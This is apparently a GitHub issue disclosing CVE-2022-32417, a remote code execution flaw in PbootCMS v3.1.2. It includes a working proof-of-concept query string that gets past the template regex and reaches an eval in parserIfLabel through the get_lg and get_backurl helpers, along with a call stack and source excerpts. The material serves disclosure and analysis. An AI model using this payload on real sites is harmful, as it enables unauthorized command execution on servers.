Headline
CVE-2022-32417: PbootCMS v3.1.2 remote code execution · Issue #1 · Snakinya/Vuln
PbootCMS v3.1.2 was discovered to contain a remote code execution (RCE) vulnerability via the function parserIfLabel at function.php.
poc:
?snakin=}{pboot:if((get_lg/*-*/())/**/(get_backurl/*-*/()))}{/pboot:if}&backurl=;id
debug:
Finally we execute the malicious code in the parserIfLabel using eval
eval(‘if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}’);
Call Stack
ParserController.php:3310, app\home\controller\ParserController->parserIfLabel()
ParserController.php:84, app\home\controller\ParserController->parserAfter()
SearchController.php:42, app\home\controller\SearchController->index()
IndexController.php:53, app\home\controller\IndexController->_empty()
2:2, core\basic\Kernel::zilvriijuizzauc606dfdd68060e63ad8f7c7ddd49b8b8()
2:2, core\basic\Kernel::run()
start.php:17, require()
index.php:23, {main}()
First bring in the payload, after rendering the template the system will load the malicious statement
So let’s follow up with the initial rendering template section
Continue to see $content = ob_get_contents(); Here the url is output directly and then saved to $content.
Then there is no point in filtering for keywords after that
The problem actually lies in the QR code generation function parserQrcodeLabel
Here the content of the tag QR code is matched, and then it will generate the QR code link
If we want to exploit this, we need to make sure that our malicious code is not matched in this step, and here we need to do a bypass of the regular
/\{pboot:qrcode(\s+[^}]+)?\}/
It is easy to see that we just need to make a closure using }
Next $content goes through a series of functions to the parserIfLabel function
We use get_lg and get_backurl functions with regular bypass to complete the RCE
Both functions are in function.php
get_lg is the field from which the cookie lg is taken
// 获取当前语言并进行安全处理Å function get_lg() { $lg = cookie(‘lg’); if (! $lg || ! preg_match('/^[\w\-]+$/’, $lg)) { $lg = get_default_lg(); cookie('lg’, $lg); } return $lg; }
get_backurl is from get
// 获取返回URL function get_backurl() { if (! ! $backurl = get(‘backurl’)) { if (isset($_SERVER[“QUERY_STRING”]) && ! ! get(‘p’)) { return “&backurl=” . $backurl; } else { return “?backurl=” . $backurl; } } else { return; } }
Since the vulnerability point does not exist in search, it can be called from any interface